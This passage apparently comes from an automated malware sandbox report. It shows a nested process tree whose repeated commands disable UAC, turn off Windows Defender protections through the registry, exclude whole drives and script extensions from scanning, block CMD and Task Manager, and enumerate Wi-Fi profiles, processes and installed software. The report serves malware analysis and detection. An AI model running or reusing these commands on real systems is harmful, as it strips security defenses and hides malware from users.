        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        55⤵
        Modifies registry key
        
        PID:4128
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        54⤵
        
        PID:2672
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        55⤵
        Modifies registry key
        
        PID:5228
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        54⤵
        
        PID:5328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        54⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2296
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        54⤵
        
        PID:4744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        54⤵
        
        PID:5360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        54⤵
        
        PID:308
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        55⤵
        
        PID:4976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        54⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5980
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        54⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        54⤵
        
        PID:2280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        54⤵
        
        PID:1732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        54⤵
        
        PID:2844
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        55⤵
        
        PID:3044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        54⤵
        
        PID:7084
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        55⤵
        Enumerates processes with tasklist
        
        PID:6212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        54⤵
        
        PID:2984
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        54⤵
        
        PID:6228
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        54⤵
        
        PID:404
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        54⤵
        
        PID:6292
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        54⤵
        
        PID:7156
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        54⤵
        
        PID:3456
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        54⤵
        
        PID:5844
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        54⤵
        
        PID:872
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        54⤵
        
        PID:4444
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        54⤵
        
        PID:6424
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        54⤵
        
        PID:6092
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        54⤵
        
        PID:4760
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        54⤵
        
        PID:1040
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        55⤵
        
        PID:2072
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        54⤵
        
        PID:6100
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        54⤵
        
        PID:5328
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        54⤵
        
        PID:1956
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        54⤵
        
        PID:4960
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        54⤵
        
        PID:5848
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        54⤵
        
        PID:132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        50⤵
        
        PID:5636
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        51⤵
        Modifies registry key
        
        PID:6532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        50⤵
        
        PID:4680
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        51⤵
        
        PID:5276
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        50⤵
        
        PID:2100
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        50⤵
        
        PID:6280
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        50⤵
        Modifies registry key
        
        PID:6628
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        50⤵
        
        PID:4392
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        51⤵
        Modifies registry key
        
        PID:6148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        50⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        50⤵
        
        PID:2352
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        51⤵
        
        PID:6932
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        50⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3272
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        50⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1212
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        51⤵
        
        PID:5092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        50⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        50⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2740
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        51⤵
        
        PID:5084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        50⤵
        
        PID:4920
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        51⤵
        Enumerates processes with tasklist
        
        PID:5016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        50⤵
        
        PID:2004
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        50⤵
        
        PID:6768
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        50⤵
        
        PID:5808
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        50⤵
        
        PID:6664
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        50⤵
        
        PID:5636
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        50⤵
        
        PID:6028
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        50⤵
        
        PID:3164
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        50⤵
        
        PID:6328
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        50⤵
        
        PID:6292
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        50⤵
        
        PID:1708
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        50⤵
        
        PID:4696
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        50⤵
        
        PID:836
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        50⤵
        
        PID:1748
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        50⤵
        
        PID:6648
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        50⤵
        
        PID:612
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        50⤵
        
        PID:852
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        50⤵
        
        PID:5852
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        50⤵
        
        PID:4444
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        50⤵
        
        PID:3016
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        46⤵
        
        PID:6524
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        47⤵
        Modifies registry key
        
        PID:5904
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        46⤵
        
        PID:6724
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        47⤵
        
        PID:5468
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        46⤵
        
        PID:6576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        46⤵
        
        PID:3640
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        46⤵
        
        PID:4948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        46⤵
        
        PID:3356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        46⤵
        
        PID:4688
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        47⤵
        
        PID:1004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        46⤵
        
        PID:1164
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        46⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1308
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        46⤵
        
        PID:3144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        46⤵
        
        PID:7016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        46⤵
        
        PID:2280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        46⤵
        
        PID:1340
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        47⤵
        Enumerates processes with tasklist
        
        PID:3504
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        46⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7148
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        46⤵
        
        PID:6528
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        46⤵
        
        PID:280
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        47⤵
        
        PID:6208
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        46⤵
        
        PID:4404
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        46⤵
        
        PID:2820
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        47⤵
        
        PID:4600
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        46⤵
        
        PID:6572
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        46⤵
        
        PID:2052
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        46⤵
        
        PID:6792
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        46⤵
        
        PID:3636
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        46⤵
        
        PID:2116
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        47⤵
        
        PID:2828
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        46⤵
        
        PID:244
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        46⤵
        
        PID:5644
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        46⤵
        
        PID:1100
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        47⤵
        
        PID:5116
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        46⤵
        
        PID:2220
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        46⤵
        
        PID:5856
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        46⤵
        
        PID:4192
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        46⤵
        
        PID:6612
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        46⤵
        
        PID:6856
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        46⤵
        
        PID:3336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        42⤵
        
        PID:3164
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        43⤵
        
        PID:5788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        42⤵
        
        PID:3628
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        43⤵
        
        PID:956
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        42⤵
        
        PID:6172
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        42⤵
        Modifies registry key
        
        PID:3988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3860
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        42⤵
        
        PID:5200
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        43⤵
        Modifies registry key
        
        PID:4612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        42⤵
        
        PID:2724
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        42⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        42⤵
        
        PID:3752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3272
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        42⤵
        
        PID:4192
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        42⤵
        
        PID:3908
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        43⤵
        Enumerates processes with tasklist
        
        PID:4040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        42⤵
        
        PID:2740
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        42⤵
        
        PID:5600
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        42⤵
        
        PID:5312
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        42⤵
        
        PID:6936
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        43⤵
        
        PID:2648
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        42⤵
        
        PID:5632
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        42⤵
        
        PID:6796
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        42⤵
        
        PID:3340
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        42⤵
        
        PID:1040
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        42⤵
        
        PID:4892
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        42⤵
        
        PID:5200
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        42⤵
        
        PID:6412
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        42⤵
        
        PID:3800
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        42⤵
        
        PID:7160
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        42⤵
        
        PID:4572
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        42⤵
        
        PID:1088
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        42⤵
        
        PID:6540
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        42⤵
        
        PID:5092
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        42⤵
        
        PID:4572
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        43⤵
        
        PID:6700
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        42⤵
        
        PID:6416
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        38⤵
        
        PID:5824
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        39⤵
        
        PID:2164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        38⤵
        
        PID:1484
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        39⤵
        Modifies registry key
        
        PID:320
        
        C:\Windows\SYSTEM32\reg.exe
        
